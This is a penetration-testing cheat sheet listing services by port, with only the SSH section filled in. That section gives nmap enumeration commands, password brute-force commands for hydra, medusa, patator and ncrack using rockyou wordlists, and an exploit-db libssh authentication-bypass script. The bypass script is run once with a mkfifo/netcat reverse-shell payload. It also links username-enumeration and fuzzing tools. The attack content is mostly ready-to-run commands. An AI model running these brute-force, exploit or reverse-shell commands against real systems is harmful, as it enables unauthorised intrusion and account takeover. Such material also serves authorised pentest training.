Open Ports Security Testing
Ports
General
Port 21 - FTP
nmap --script ftp-* -p 21 10.11.1.111
Port 22 - SSH
# Enum SSH
# Get version
nmap 10.11.1.1 -p22 -sV
# Get banner
nc 10.11.1.1 22
# Get login banner
ssh root@10.11.11.1
# Get algorythms supporteed
nmap -p22 10.11.1.1 --script ssh2-enum-algos
# Check weak keys
nmap-p22 10.2.1.1 --script ssh-hostkey --script-args ssh_hostkey=full
# Check auth methods
nmap -p22 10.11.1.1 --script ssh-auth-methods --script-args="ssh.user=admin"
# User can ask to execute a command right after authentication before it’s default command or shell is executed
$ ssh -v user@10.10.1.111 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 10.10.1.111 ([10.10.1.1114]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(user) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0
# Check Auth Methods:
$ ssh -v 10.10.1.111
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive
# Force Auth Method:
$ ssh -v 10.10.1.111 -o PreferredAuthentications=password
...
debug1: Next authentication method: password
# BruteForce:
patator ssh_login host=10.11.1.111 port=22 user=root 0=/usr/share/metasploit-framework/data/wordlists/unix_passwords.txt password=FILE0 -x ignore:mesg='Authentication failed.'
hydra -l user -P /usr/share/wordlists/password/rockyou.txt -e s ssh://10.10.1.111
medusa -h 10.10.1.111 -u user -P /usr/share/wordlists/password/rockyou.txt -e s -M ssh
ncrack --user user -P /usr/share/wordlists/password/rockyou.txt ssh://10.10.1.111
# LibSSH Before 0.7.6 and 0.8.4 - LibSSH 0.7.6 / 0.8.4 - Unauthorized Access
# Id
python /usr/share/exploitdb/exploits/linux/remote/46307.py 10.10.1.111 22 id
# Reverse
python /usr/share/exploitdb/exploits/linux/remote/46307.py 10.10.1.111 22 "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.1.111 80 >/tmp/f"
# SSH FUZZ
# <https://dl.packetstormsecurity.net/fuzzer/sshfuzz.txt>
# cpan Net::SSH2
./sshfuzz.pl -H 10.10.1.111 -P 22 -u user -p user
use auxiliary/fuzzers/ssh/ssh_version_2
# SSH-AUDIT
# <https://github.com/arthepsy/ssh-audit>
# Enum users < 7.7:
# <https://www.exploit-db.com/exploits/45233>
<https://github.com/CaioCGH/EP4-redes/blob/master/attacker/sshUsernameEnumExploit.py>
python ssh_user_enum.py --port 2223 --userList /root/Downloads/users.txt IP 2>/dev/null | grep "is a"
# SSH Leaks:
<https://shhgit.darkport.co.uk/>
# SSH bruteforce
# <https://github.com/kitabisa/ssb>
Port 23 - Telnet
Port 25 - SMTP
Port 43 - Whois
Port 53 - DNS
Port 69 - UDP - TFTP
Port 79 - Finger
Port 88 - Kerberos
Port 110 - Pop3
Port 111 - Rpcbind
Port 135 - MSRPC
Port 139/445 - SMB
Port 161/162 UDP - SNMP
Port 389,636 - LDAP
Port 443 - HTTPS
Port 500 - ISAKMP IKE
Port 513 - Rlogin
Port 541 - FortiNet SSLVPN
Port 1433 - MSSQL
Port 1521 - Oracle
Port 2000 - Cisco sccp
Port 2049 - NFS
Port 2100 - Oracle XML DB
Port 3306 - MySQL
Port 3389 - RDP
Port 5432 - PostgreSQL
Port 5900 - VNC
Port 5984 - CouchDB
Port 5985 - WinRM
Port 6379 - Redis
Port 8172 - MsDeploy
Port 5601/9200
Port 27017-19/27080/28017 - MongoDB
Unknown ports
RCE ports
Last updated